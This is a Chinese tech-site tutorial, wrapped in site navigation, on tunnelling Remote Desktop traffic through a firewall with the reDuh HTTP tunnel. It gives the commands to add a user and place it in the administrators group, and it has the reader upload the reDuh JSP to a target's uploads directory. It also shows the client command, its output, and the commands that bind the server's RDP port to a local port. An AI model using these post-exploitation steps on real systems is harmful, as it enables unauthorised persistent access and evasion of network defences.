扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
准备工作
当然我们先看一下3389端口是否是开放的,命令行下执行netstat -an,如果能看到类似“TCP 0.0.0.0:3389 LISTENING”这样的字样就说明很有希望了。然后我们再新建一个用户吧。依次执行net user username password /add和net localgroup administrators username /add。这时候我们满心欢喜地想在机器上远程桌面连接服务器,却发现失败了。排除了一些IP排除策略的可能性后(在注册表中可以检查相关设置),多半就是防火墙的问题了。
使用reDuh建立隧道
reDuh是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的JSP脚本接受HTTP请求,在本地转发给相应的端口,并接受本地端口的数据再通过HTTP发送给远程客户端。这样本来应该走其他端口的数据变摇身一变,披上了HTTP协议的报文头,换走HTTP的端口了。所有HTTP通道中的数据都是经过Base64编码的(Base64可以将二进制数据转换成ASCII字符序列,并且可以解码还原)。下面这张图详细地说明了reDuh的工作流程(图片汉化自SensePost's BlackHat USA 2008 talk on tunnelling data in and out of networks):
将JSP文件上传至服务器后,我们在自己机器上运行客户端建立连接:java -jar reDuhClient.jar http://internal.bigcompany.com/uploads/reDuh.jsp。产生输出:
1
2
3
4[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from internal.bigcompany.com/uploads/reDuh.jsp. Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010
这时候我们登录进本机的1010端口,可以使用telnet或者netcat。登录后我们会看到Welcome to the reDuh command line的提示。输入[createTunnel]1234:127.0.0.1:3389便可以将远程服务器的3389端口和本地的1234端口绑定起来。
这时候我们便可以打开远程桌面连接,连接127.0.0.1:1234,然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故,所以远程桌面的速度并不快,但是毕竟连接上了,不是吗?
当需要断开连接的时候,我们只需要输入[killReDuh]即可
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者